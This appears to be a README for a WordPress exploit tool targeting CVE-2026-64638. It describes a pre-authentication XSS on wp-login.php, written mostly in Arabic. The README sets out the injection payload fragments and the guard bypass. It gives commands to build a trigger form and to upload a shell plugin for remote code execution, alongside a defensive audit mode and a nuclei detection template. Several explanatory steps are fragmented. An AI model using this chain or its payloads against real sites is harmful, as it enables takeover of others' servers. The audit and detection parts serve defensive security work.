XSS2Shell (CVE-2026-64638) سلسلة تحويل XSS قبل المصادقة في WordPress إلى RCE — إكسبلويت PoC + أداة تدقيق دفاعية + قالب nuclei
CVE-2026-64638 · XSS انعكاسي على wp-login.php · CVSS 8.9 (v4.0) · تم إصلاحه في WordPress 7.0.3
⚠️ للاختبار المصرح به فقط. هذه الأداة مخصصة للبحث الأمني واختبار الاختراق المصرح به ضد الأنظمة التي تملكها أو لديك إذن كتابي صريح باختبارها. الاستخدام غير المصرح به غير قانوني في معظم الولايات القضائية. أفصح الباحث (PWN.AI) عن هذا في 2026-08-07؛ وأصدرت WordPress الإصلاح في 7.0.3 في اليوم نفسه.
XSS2Shell هي سلسلة من XSS إلى تنفيذ التعليمات البرمجية قبل المصادقة تؤثر على نواة WordPress (جميع الإصدارات منذ 4.7، أي أكثر من ~500 مليون موقع). محاولة فاشلة واحدة مُصممة بعناية لتسجيل الدخول تشغّل JavaScript الخاص بالمهاجم في أصل WordPress؛ وعند مواجهة مسؤول مسجّل الدخول، تتصاعد إلى RCE كامل.
الإفصاح العام: https://pwn.ai/blog/xss2shell
wp-login.php اسم المستخدم المُرسل
عبر sprintf('<strong>Error:</strong> The username <strong>%s</strong> ...').
ينجو < area id=test> (مسافة بيضاء بين < واسم الوسم) من دالة PHP
strip_tags()، ثم يعيد مُطهّر KSES في WordPress تحليله إلى عنصر DOM
حي.< area id=ajaxurl href=...>، < div id=color-picker class=reset-pass-submit>،
< button class="wp-generate-pw color-option">X.wp-pass.php عبر
الزر المحقون. يتم تجاوز الحارس user_id === new_user_id
(undefined === undefined — كلا المدخلين غائبان في صفحة تسجيل الدخول). يُحلّ
المعرّف ajaxurl إلى <area> المحقون عبر الوصول إلى الخصائص المسماة في HTML
على كائن Window.href الذي يتحكم به المهاجم
(/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1 — غلاف JSONP).wp-content/plugins/<slug>/ يمكن الوصول إليه
عبر الويب دون تفعيل).# 1. Non-destructive check — does the target reflect the payload?
python3 xss2shell.py check https://example.com
# 2. DEFENSIVE AUDIT — WordPress hardening report (A-F score)
python3 xss2shell.py audit https://example.com
# Checks: core version vs XSS2Shell/wp2shell, XSS reflection,
# sensitive file exposure (wp-config.bak, .git, debug.log, xmlrpc),
# security headers (CSP/HSTS/XFO), REST user enumeration.
# 3. Generate the trigger HTML form (XSS stage)
python3 xss2shell.py exploit --target example.com > trigger.html
# 4. RCE stage (lab only — needs admin application password)
python3 xss2shell.py shell https://example.com --app-password "XXXX XXXX XXXX XXXX XXXX XXXX"
# 5. Emit the plugin zip without uploading
python3 xss2shell.py zip --out xss2shell-plugin.zip
يتطلب: Python 3.8+ stdlib فقط — بدون أي تبعيات خارجية.
$ python3 xss2shell.py audit https://target.example
================================================================
WORDPRESS SECURITY AUDIT (defensive mode)
Target: https://target.example
================================================================
[CRITICAL] WordPress 6.9.4 — CVE-2026-64638 (XSS2Shell) VULNERABLE, 7.0.3+ required
[CRITICAL] wp-login.php XSS reflection PRESENT — CVE-2026-64638 active, update immediately!
[HIGH] Leak: /xmlrpc.php HTTP 405
[WARN] Header X-Frame-Options missing — clickjacking protection recommended
...
SECURITY SCORE: F (91 risk points) — Critical risk — act immediately!
trigger.html، وأرسله (أو أرسله تلقائيًا عبر JS) مقابل صفحة تسجيل الدخول الهدف → يُنفَّذ XSS في متصفح الضحية.authorize-application.php لإنشاء كلمة مرور تطبيق.shell لرفع ملف zip الخاص بالإضافة./wp-content/plugins/xss2shell/xss2shell.php — {"rce":true,...}.يتضمن قالب Nuclei جاهزًا للاستخدام: nuclei-CVE-2026-64638.yaml
# Scan a single target
nuclei -t nuclei-CVE-2026-64638.yaml -u https://example.com
# Scan a list of targets
nuclei -t nuclei-CVE-2026-64638.yaml -l targets.txt
يكتشف القالب الفرق في تحليل المُحلِّلات (عنصر < area المنعكس على
wp-login.php) باستخدام متغيّرين من الحمولات، وقد تم التحقق منه مقابل كلٍّ من
التثبيتات المصابة (6.9.4) والمُرقَّعة (7.0.3+).
ملاحظة: تم دمج قالب مطابق وظيفيًا في المستودع الأصلي ضمن nuclei-templates عبر PR #16785 — وتُحفظ هذه النسخة هنا للاستخدام المستقل.
رخصة MIT — راجع LICENSE.
ملاحظة: يُنشر هذا الإثبات (PoC) لأغراض البحث الدفاعي والتعليمية. استخدمه فقط ضد الأنظمة التي تملكها أو المصرَّح لك باختبارها.